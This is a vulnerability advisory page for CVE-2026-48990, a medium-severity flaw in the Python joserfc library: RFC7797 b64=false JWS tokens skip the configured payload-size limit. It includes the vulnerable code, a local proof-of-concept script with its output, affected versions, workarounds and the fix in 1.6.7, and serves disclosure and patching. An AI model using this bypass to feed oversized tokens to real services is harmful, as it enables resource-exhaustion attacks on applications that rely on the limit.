NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-48990 — joserfc

MEDIUM

CVE-2026-48990 is a medium-severity (CVSS 5.3) Uncontrolled Resource Consumption vulnerability in joserfc. A fix is available for joserfc — see the affected versions and patch details below.

joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization

Also known asGHSA-wphv-vfrh-23q5PYSEC-2026-2530
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-48990.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk+0.07%
Lower risk than most CVEs15th percentile — riskier than 15% of all scored CVEsHighest risk
0.00%0.26%0.51%0.77%0.2%0.2%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍joserfc

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization

Summary

Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.

The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.

This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.

Affected Product

  • Package: joserfc
  • Ecosystem: pip
  • Audited release: 1.6.5
  • Audit tag: 1.6.5
  • Audit commit: 881712980934fb601bed26fe3ae1ec0b7780e6f7
  • Tested affected releases: 1.3.4, 1.3.5, 1.4.2, 1.6.2, 1.6.3, 1.6.4, 1.6.5
  • Fixed release: none known

Vulnerability Details

In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().

The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:

if is_rfc7797_enabled(protected):
    if not payload_segment and payload:
        payload_segment = to_bytes(payload)
    payload = payload_segment

The flattened JSON RFC7797 path has the same pattern:

payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
    payload = payload_segment

Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.

Reproduction

The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.

Requirements:

python -m pip install "joserfc==1.6.5"

Run:

python joserfc_rfc7797_size_bypass_poc.py

Self-contained proof script:

#!/usr/bin/env python3
import json

import joserfc
from joserfc import jws
from joserfc.jwk import OctKey


def check_compact(name, header, payload, key):
    token = jws.serialize_compact(header, payload, key)
    try:
        obj = jws.deserialize_compact(token, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }


def check_json(name, protected, payload, key):
    data = jws.serialize_json({"protected": protected}, payload, key)
    try:
        obj = jws.deserialize_json(data, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }


key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" * (limit + 1)

results = {
    "joserfc_version": joserfc.__version__,
    "default_max_payload_length": limit,
    "payload_len": len(payload),
    "compact": [
        check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
        check_compact(
            "rfc7797_b64_false",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
    "json": [
        check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
        check_json(
            "rfc7797_b64_false_json",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
}
print(json.dumps(results, indent=2, sort_keys=True))

Expected output on 1.6.5 includes:

{
  "default_max_payload_length": 128000,
  "payload_len": 128001,
  "compact": [
    {
      "case": "normal_b64_true",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ],
  "json": [
    {
      "case": "normal_b64_true_json",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false_json",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ]
}

Version Checks

I reproduced the same differential behavior on these releases:

VersionNormal JWS over limitRFC7797 b64=false over limit
1.3.4ExceededSizeErroraccepted
1.3.5ExceededSizeErroraccepted
1.4.2ExceededSizeErroraccepted
1.6.2ExceededSizeErroraccepted
1.6.3ExceededSizeErroraccepted
1.6.4ExceededSizeErroraccepted
1.6.5ExceededSizeErroraccepted

The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.

Relationship to Existing Advisories

I found two related public advisories for joserfc, but neither appears to cover this root cause.

GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.

GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.

Workarounds

Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.

Suggested Remediation

Apply registry.validate_payload_size(payload_segment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIjoserfc≥ 1.3.4&&< 1.6.71.6.7pip install --upgrade 'joserfc==1.6.7'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for joserfc, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update joserfc to 1.6.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48990 is resolved across your whole dependency graph.

  3. Workarounds

    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

A flaw was found in the joserfc Python library, which implements the JSON Object Signing and Encryption (JOSE) standards and is bundled by several Red Hat managed-service offerings. joserfc fails to apply its configured payload-size limit (JWSRegistry.max_payload_length) when processing RFC 7797 unencoded (b64=false)…

Workaround published by Red Hat
The risk can be mitigated by rejecting oversized serialized JWS inputs before they reach joserfc and enforcing strict request/body size limits at the application or reverse-proxy layer.
Source: Red Hat security advisory for CVE-2026-48990 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.6ansible-automation-platform-26/lightspeed-chatbot-rhel9:1785646188RHSA-2026:50479
Red Hat Ansible Automation Platform 2.7ansible-automation-platform-27/lightspeed-chatbot-rhel9:1785426734RHSA-2026:50340
Red Hat Hardened Imagesjaeger-main-2.19.0-1.hum1RHSA-2026:25039
Red Hat Migration Toolkit for Applications 8.2mta/mta-solution-server-rhel9:1784109883RHSA-2026:43038

Frequently Asked Questions

# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization ## Summary Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`. This creates
O3 Security · Impact-Aware SCA

Is CVE-2026-48990 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-48990: joserfc — Fixed in 1.6.7